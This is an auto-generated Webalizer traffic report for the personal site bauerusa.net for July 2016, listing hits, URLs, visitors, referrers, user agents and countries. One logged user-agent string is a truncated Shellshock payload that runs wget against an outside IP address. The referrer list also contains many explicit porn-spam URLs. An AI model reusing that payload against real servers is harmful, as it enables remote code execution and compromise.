Usage Statistics for bauerusa.net

Summary Period: July 2016
Generated 01-Aug-2016 05:10 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for July 2016
Total Hits 5518
Total Files 5060
Total Pages 4286
Total Visits 2463
Total KBytes 86734
Total Unique Sites 619
Total Unique URLs 79
Total Unique Referrers 251
Total Unique User Agents 286
. Avg Max
Hits per Hour 7 253
Hits per Day 178 350
Files per Day 163 308
Pages per Day 138 296
Sites per Day 19 74
Visits per Day 79 100
KBytes per Day 2798 11354
Hits by Response Code
Code 200 - OK 91.70% 5060
Code 304 - Not Modified 0.62% 34
Code 400 - Bad Request 0.20% 11
Code 403 - Forbidden 0.02% 1
Code 404 - Not Found 7.34% 405
Code 405 - Method Not Allowed 0.02% 1
Code 501 - Not Implemented 0.11% 6

Daily usage for July 2016

Daily Statistics for July 2016
Day Hits Files Pages Visits Sites KBytes
1 249 4.51% 244 4.82% 233 5.44% 100 4.06% 70 11.31% 2550 2.94%
2 137 2.48% 135 2.67% 127 2.96% 86 3.49% 59 9.53% 1493 1.72%
3 106 1.92% 103 2.04% 90 2.10% 83 3.37% 55 8.89% 1151 1.33%
4 138 2.50% 134 2.65% 124 2.89% 86 3.49% 60 9.69% 1462 1.69%
5 192 3.48% 188 3.72% 110 2.57% 87 3.53% 74 11.95% 2297 2.65%
6 137 2.48% 126 2.49% 119 2.78% 82 3.33% 66 10.66% 1825 2.10%
7 153 2.77% 139 2.75% 111 2.59% 79 3.21% 54 8.72% 1539 1.77%
8 106 1.92% 102 2.02% 93 2.17% 82 3.33% 60 9.69% 1114 1.28%
9 103 1.87% 101 2.00% 91 2.12% 88 3.57% 68 10.99% 1411 1.63%
10 100 1.81% 98 1.94% 86 2.01% 73 2.96% 54 8.72% 1230 1.42%
11 164 2.97% 162 3.20% 94 2.19% 70 2.84% 58 9.37% 1759 2.03%
12 107 1.94% 106 2.09% 91 2.12% 81 3.29% 65 10.50% 1248 1.44%
13 122 2.21% 115 2.27% 105 2.45% 87 3.53% 66 10.66% 1292 1.49%
14 311 5.64% 308 6.09% 296 6.91% 84 3.41% 63 10.18% 11354 13.09%
15 287 5.20% 279 5.51% 275 6.42% 74 3.00% 52 8.40% 2819 3.25%
16 258 4.68% 257 5.08% 235 5.48% 81 3.29% 59 9.53% 2585 2.98%
17 239 4.33% 233 4.60% 230 5.37% 79 3.21% 59 9.53% 6034 6.96%
18 191 3.46% 185 3.66% 172 4.01% 85 3.45% 58 9.37% 1886 2.17%
19 170 3.08% 167 3.30% 161 3.76% 84 3.41% 51 8.24% 2255 2.60%
20 240 4.35% 238 4.70% 228 5.32% 91 3.69% 54 8.72% 8436 9.73%
21 139 2.52% 138 2.73% 126 2.94% 78 3.17% 51 8.24% 1420 1.64%
22 216 3.91% 216 4.27% 136 3.17% 69 2.80% 59 9.53% 7234 8.34%
23 100 1.81% 89 1.76% 87 2.03% 74 3.00% 61 9.85% 1158 1.34%
24 101 1.83% 95 1.88% 87 2.03% 71 2.88% 63 10.18% 1170 1.35%
25 301 5.45% 288 5.69% 164 3.83% 77 3.13% 54 8.72% 10211 11.77%
26 142 2.57% 112 2.21% 104 2.43% 76 3.09% 54 8.72% 1321 1.52%
27 110 1.99% 94 1.86% 80 1.87% 64 2.60% 54 8.72% 1067 1.23%
28 254 4.60% 237 4.68% 109 2.54% 71 2.88% 55 8.89% 2824 3.26%
29 350 6.34% 90 1.78% 144 3.36% 71 2.88% 60 9.69% 1079 1.24%
30 151 2.74% 141 2.79% 91 2.12% 76 3.09% 51 8.24% 1965 2.27%
31 144 2.61% 140 2.77% 87 2.03% 75 3.05% 55 8.89% 1544 1.78%

Hourly usage for July 2016

Hourly Statistics for July 2016
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 8 252 4.57% 7 243 4.80% 6 207 4.83% 78 2433 2.80%
1 4 132 2.39% 4 131 2.59% 3 115 2.68% 48 1495 1.72%
2 5 159 2.88% 4 145 2.87% 4 134 3.13% 54 1661 1.91%
3 5 173 3.14% 5 163 3.22% 4 150 3.50% 55 1706 1.97%
4 9 280 5.07% 8 276 5.45% 8 261 6.09% 517 16018 18.47%
5 6 206 3.73% 5 185 3.66% 6 188 4.39% 65 2005 2.31%
6 4 146 2.65% 4 136 2.69% 3 120 2.80% 47 1449 1.67%
7 10 310 5.62% 9 307 6.07% 9 286 6.67% 263 8154 9.40%
8 6 210 3.81% 6 188 3.72% 5 157 3.66% 71 2193 2.53%
9 15 481 8.72% 7 227 4.49% 7 218 5.09% 89 2773 3.20%
10 10 328 5.94% 10 321 6.34% 7 235 5.48% 218 6765 7.80%
11 11 364 6.60% 11 359 7.09% 8 251 5.86% 405 12566 14.49%
12 6 196 3.55% 5 182 3.60% 5 163 3.80% 78 2409 2.78%
13 5 157 2.85% 4 144 2.85% 4 140 3.27% 54 1677 1.93%
14 8 259 4.69% 8 259 5.12% 6 212 4.95% 107 3329 3.84%
15 7 236 4.28% 7 234 4.62% 5 170 3.97% 81 2503 2.89%
16 7 221 4.01% 6 214 4.23% 3 110 2.57% 90 2776 3.20%
17 5 183 3.32% 5 173 3.42% 5 158 3.69% 59 1825 2.10%
18 7 233 4.22% 7 231 4.57% 6 204 4.76% 77 2388 2.75%
19 6 189 3.43% 5 171 3.38% 5 172 4.01% 65 2003 2.31%
20 6 212 3.84% 6 206 4.07% 4 151 3.52% 69 2132 2.46%
21 7 221 4.01% 6 215 4.25% 6 203 4.74% 75 2314 2.67%
22 5 168 3.04% 5 157 3.10% 4 147 3.43% 61 1902 2.19%
23 6 202 3.66% 6 193 3.81% 4 134 3.13% 73 2259 2.60%

Top 30 of 79 Total URLs
# Hits KBytes URL
1 2125 38.51% 28540 32.91% /
2 1420 25.73% 13842 15.96% /webalizer/
3 376 6.81% 24 0.03% /robots.txt
4 299 5.42% 32954 37.99% /webalizer/usage_201607.html
5 84 1.52% 2332 2.69% /resume.html
6 49 0.89% 13 0.01% /widgets/noieactivate.js
7 39 0.71% 12 0.01% /external1.html
8 38 0.69% 11 0.01% /external2.html
9 33 0.60% 10 0.01% /external.html
10 31 0.56% 9 0.01% /external3.html
11 24 0.43% 275 0.32% /henry.html
12 18 0.33% 1 0.00% /widgets/spacer.gif
13 17 0.31% 17 0.02% /widgets/gen_15.1.gif
14 17 0.31% 17 0.02% /widgets/gen_16.1.gif
15 16 0.29% 33 0.04% /widgets/ss_button.gif
16 14 0.25% 3174 3.66% /images/Profile.jpg
17 14 0.25% 26 0.03% /widgets/gen_40.1.gif
18 14 0.25% 17 0.02% /widgets/gen_46.1.gif
19 14 0.25% 16 0.02% /widgets/gen_48.1.gif
20 14 0.25% 19 0.02% /widgets/gen_56.1.gif
21 14 0.25% 18 0.02% /widgets/gen_60.1.gif
22 14 0.25% 18 0.02% /widgets/gen_66.1.gif
23 13 0.24% 19 0.02% /widgets/gen_27.1.gif
24 13 0.24% 814 0.94% /widgets/gen_37.1.gif
25 13 0.24% 1310 1.51% /widgets/gen_38.1.gif
26 13 0.24% 66 0.08% /widgets/gen_39.1.gif
27 13 0.24% 44 0.05% /widgets/gen_42.1.gif
28 13 0.24% 1 0.00% /widgets/gen_43.1.gif
29 13 0.24% 114 0.13% /widgets/gen_45.1.gif
30 13 0.24% 16 0.02% /widgets/gen_54.1.gif

Top 10 of 79 Total URLs By KBytes
# Hits KBytes URL
1 299 5.42% 32954 37.99% /webalizer/usage_201607.html
2 2125 38.51% 28540 32.91% /
3 1420 25.73% 13842 15.96% /webalizer/
4 14 0.25% 3174 3.66% /images/Profile.jpg
5 84 1.52% 2332 2.69% /resume.html
6 13 0.24% 1310 1.51% /widgets/gen_38.1.gif
7 10 0.18% 919 1.06% /widgets/gen_11.1.gif
8 7 0.13% 830 0.96% /webalizer/usage_201409.html
9 13 0.24% 814 0.94% /widgets/gen_37.1.gif
10 9 0.16% 568 0.65% /widgets/gen_10.1.gif

Top 10 of 10 Total Entry Pages
# Hits Visits URL
1 2125 38.51% 1948 79.90% /
2 1420 25.73% 354 14.52% /webalizer/
3 84 1.52% 46 1.89% /resume.html
4 39 0.71% 24 0.98% /external1.html
5 38 0.69% 20 0.82% /external2.html
6 33 0.60% 13 0.53% /external.html
7 24 0.43% 11 0.45% /henry.html
8 31 0.56% 10 0.41% /external3.html
9 7 0.13% 7 0.29% /webalizer/usage_201409.html
10 299 5.42% 5 0.21% /webalizer/usage_201607.html

Top 10 of 10 Total Exit Pages
# Hits Visits URL
1 2125 38.51% 1940 79.84% /
2 1420 25.73% 354 14.57% /webalizer/
3 84 1.52% 46 1.89% /resume.html
4 39 0.71% 23 0.95% /external1.html
5 38 0.69% 22 0.91% /external2.html
6 31 0.56% 18 0.74% /external3.html
7 33 0.60% 12 0.49% /external.html
8 7 0.13% 7 0.29% /webalizer/usage_201409.html
9 299 5.42% 5 0.21% /webalizer/usage_201607.html
10 24 0.43% 3 0.12% /henry.html

Top 30 of 619 Total Sites
# Hits Files KBytes Visits Hostname
1 757 13.72% 757 14.96% 7379 8.51% 25 1.02% 83.166.240.16
2 250 4.53% 4 0.08% 160 0.18% 1 0.04% 125.64.94.206
3 134 2.43% 134 2.65% 1306 1.51% 134 5.44% 128-68-143-49.broadband.corbina.ru
4 105 1.90% 102 2.02% 1419 1.64% 1 0.04% 121.58.229.50
5 101 1.83% 101 2.00% 985 1.14% 21 0.85% 104.200.151.21
6 95 1.72% 95 1.88% 926 1.07% 18 0.73% 162.216.46.126
7 86 1.56% 86 1.70% 9004 10.38% 1 0.04% 178.62.223.198
8 82 1.49% 82 1.62% 1183 1.36% 2 0.08% 107.77.76.86
9 69 1.25% 68 1.34% 702 0.81% 2 0.08% 155.201.34.12
10 68 1.23% 68 1.34% 7815 9.01% 1 0.04% 5.141.122.174
11 68 1.23% 67 1.32% 748 0.86% 2 0.08% 74-92-145-9-washingtondc.hfc.comcastbusiness.net
12 59 1.07% 59 1.17% 6548 7.55% 1 0.04% 5.141.127.105
13 55 1.00% 54 1.07% 499 0.58% 24 0.97% spider-100-43-91-6.yandex.com
14 50 0.91% 50 0.99% 487 0.56% 10 0.41% 164.132.117.81
15 50 0.91% 50 0.99% 5670 6.54% 1 0.04% 5.141.91.189
16 41 0.74% 41 0.81% 367 0.42% 17 0.69% spider-141-8-143-197.yandex.com
17 40 0.72% 40 0.79% 390 0.45% 8 0.32% 172.98.67.80
18 40 0.72% 40 0.79% 543 0.63% 39 1.58% baiduspider-180-76-15-158.crawl.baidu.com
19 40 0.72% 40 0.79% 530 0.61% 40 1.62% baiduspider-180-76-15-22.crawl.baidu.com
20 40 0.72% 40 0.79% 319 0.37% 0 0.00% bzq-82-80-230-228.cablep.bezeqint.net
21 37 0.67% 37 0.73% 462 0.53% 34 1.38% baiduspider-180-76-15-11.crawl.baidu.com
22 36 0.65% 36 0.71% 3918 4.52% 1 0.04% 5.141.88.91
23 36 0.65% 36 0.71% 475 0.55% 35 1.42% baiduspider-180-76-15-155.crawl.baidu.com
24 36 0.65% 36 0.71% 475 0.55% 33 1.34% baiduspider-180-76-15-34.crawl.baidu.com
25 34 0.62% 34 0.67% 448 0.52% 34 1.38% baiduspider-180-76-15-163.crawl.baidu.com
26 33 0.60% 33 0.65% 434 0.50% 30 1.22% baiduspider-180-76-15-8.crawl.baidu.com
27 32 0.58% 32 0.63% 421 0.49% 31 1.26% baiduspider-180-76-15-19.crawl.baidu.com
28 31 0.56% 31 0.61% 302 0.35% 31 1.26% 128-68-132-164.broadband.corbina.ru
29 31 0.56% 31 0.61% 421 0.49% 31 1.26% baiduspider-180-76-15-141.crawl.baidu.com
30 31 0.56% 31 0.61% 380 0.44% 28 1.14% baiduspider-180-76-15-15.crawl.baidu.com

Top 10 of 619 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 86 1.56% 86 1.70% 9004 10.38% 1 0.04% 178.62.223.198
2 68 1.23% 68 1.34% 7815 9.01% 1 0.04% 5.141.122.174
3 757 13.72% 757 14.96% 7379 8.51% 25 1.02% 83.166.240.16
4 59 1.07% 59 1.17% 6548 7.55% 1 0.04% 5.141.127.105
5 50 0.91% 50 0.99% 5670 6.54% 1 0.04% 5.141.91.189
6 36 0.65% 36 0.71% 3918 4.52% 1 0.04% 5.141.88.91
7 105 1.90% 102 2.02% 1419 1.64% 1 0.04% 121.58.229.50
8 134 2.43% 134 2.65% 1306 1.51% 134 5.44% 128-68-143-49.broadband.corbina.ru
9 82 1.49% 82 1.62% 1183 1.36% 2 0.08% 107.77.76.86
10 101 1.83% 101 2.00% 985 1.14% 21 0.85% 104.200.151.21

Top 30 of 251 Total Referrers
# Hits Referrer
1 3217 58.30% - (Direct Request)
2 87 1.58% https://www.youtube.com/watch
3 86 1.56% http://imgur.com/8lxUBLl
4 68 1.23% http://imgur.com/5MNAPMY
5 59 1.07% http://imgur.com/XEXdXv3
6 50 0.91% http://imgur.com/r8844n4
7 49 0.89% http://162.215.248.81/
8 37 0.67% http://dezzaromo.ru/analnoe-porno/porno-v-okeane-foto.php
9 36 0.65% http://imgur.com/B7n68Bo
10 30 0.54% http://dezzaromo.ru/anal/porno-hd-polnie-versii.php
11 30 0.54% http://dezzaromo.ru/aziatki/pisku-vidno-porno.php
12 30 0.54% http://dezzaromo.ru/drugoe/pisya-kate-sambuki.php
13 30 0.54% http://dezzaromo.ru/drugoe/porno-fisting-orgii.php
14 30 0.54% http://tstroys.ru/biseksuali/porno-prigaet-na-dildo.php
15 30 0.54% http://tstroys.ru/bryunetki/porno-video-u-papuasov.php
16 30 0.54% http://tstroys.ru/drugoe/eroticheskie-skazki-film.php
17 30 0.54% http://tstroys.ru/drugoe/porna-seks-para.php
18 30 0.54% http://tstroys.ru/drugoe/porno-onlain-hd.php
19 30 0.54% http://tstroys.ru/grudastie/liza-kudrou-golaya.php
20 30 0.54% http://tstroys.ru/grudastie/russkoe-porno-molodie-bolshaya-grud.php
21 30 0.54% http://tstroys.ru/lyubitelskoe-porno/zrelie-pizdi-porno-onlayn.php
22 30 0.54% http://tstroys.ru/otsos/muzhchina-v-zhenskom-bele-porno.php
23 30 0.54% http://tstroys.ru/popki/na-massazhe-razvel-na-seks.php
24 30 0.54% http://wels-bike.ru/anal/golaya-yuliya-silaeva-foto.php
25 30 0.54% http://wels-bike.ru/analnoe-porno/analniy-seks-v-chernih-chulkah.php
26 30 0.54% http://wels-bike.ru/aziatki/sovrashenie-yaponok-porno.php
27 30 0.54% http://wels-bike.ru/drugoe/golaya-dasha-s-schastlivi-vmeste.php
28 30 0.54% http://wels-bike.ru/drugoe/populyarnoe-porno-dvoynoe-proniknovenie.php
29 30 0.54% http://wels-bike.ru/drugoe/porno-vintazh-v-derevne.php
30 30 0.54% http://wels-bike.ru/lyubitelskoe-porno/porno-foto-bonya.php

Top 1 of 1 Total Search Strings
# Hits Search String
1 1 100.00% jeffrey w bauer

Top 15 of 286 Total User Agents
# Hits User Agent
1 1488 26.97% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2 759 13.75% Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
3 343 6.22% Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
4 302 5.47% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
5 299 5.42% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
6 250 4.53% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 98 1.78% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
8 97 1.76% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
9 82 1.49% Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Saf
10 71 1.29% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
11 68 1.23% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17
12 58 1.05% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://185.125.4.222/YOUR_UR
13 50 0.91% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
14 43 0.78% Mozilla/5.0 (Linux; U; Android 5.0.2; zh-CN; HTC D816d Build/LRX22G) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBro
15 43 0.78% Mozilla/5.0 (compatible; oBot/2.3.1; +http://filterdb.iss.net/crawler/)

Usage by Country for July 2016

Top 30 of 30 Total Countries
# Hits Files KBytes Country
1 2317 41.99% 2026 40.04% 51744 59.66% Unresolved/Unknown
2 2266 41.07% 2198 43.44% 26664 30.74% Commercial (com)
3 270 4.89% 224 4.43% 2481 2.86% Network (net)
4 246 4.46% 246 4.86% 2370 2.73% Russian Federation
5 146 2.65% 132 2.61% 1246 1.44% European Union
6 120 2.17% 116 2.29% 918 1.06% Germany
7 35 0.63% 35 0.69% 315 0.36% Switzerland
8 18 0.33% 6 0.12% 64 0.07% Brazil
9 17 0.31% 9 0.18% 125 0.14% Educational (edu)
10 17 0.31% 17 0.34% 127 0.15% United Kingdom
11 14 0.25% 11 0.22% 100 0.11% British Indian Ocean Territory
12 12 0.22% 9 0.18% 115 0.13% France
13 11 0.20% 11 0.22% 149 0.17% Ukraine
14 5 0.09% 5 0.10% 57 0.07% Belgium
15 3 0.05% 0 0.00% 1 0.00% Argentina
16 3 0.05% 0 0.00% 1 0.00% Bolivia
17 2 0.04% 2 0.04% 20 0.02% Belarus
18 2 0.04% 1 0.02% 14 0.02% Israel
19 2 0.04% 2 0.04% 128 0.15% Sweden
20 2 0.04% 2 0.04% 0 0.00% Tuvalu
21 1 0.02% 1 0.02% 14 0.02% Non-Profit (org)
22 1 0.02% 1 0.02% 10 0.01% Canada
23 1 0.02% 1 0.02% 14 0.02% Greece
24 1 0.02% 1 0.02% 10 0.01% India
25 1 0.02% 0 0.00% 0 0.00% Italy
26 1 0.02% 1 0.02% 14 0.02% Lithuania
27 1 0.02% 1 0.02% 14 0.02% Luxembourg
28 1 0.02% 1 0.02% 10 0.01% Moldova
29 1 0.02% 1 0.02% 10 0.01% Netherlands
30 1 0.02% 0 0.00% 0 0.00% Palau


Generated by Webalizer Version 2.20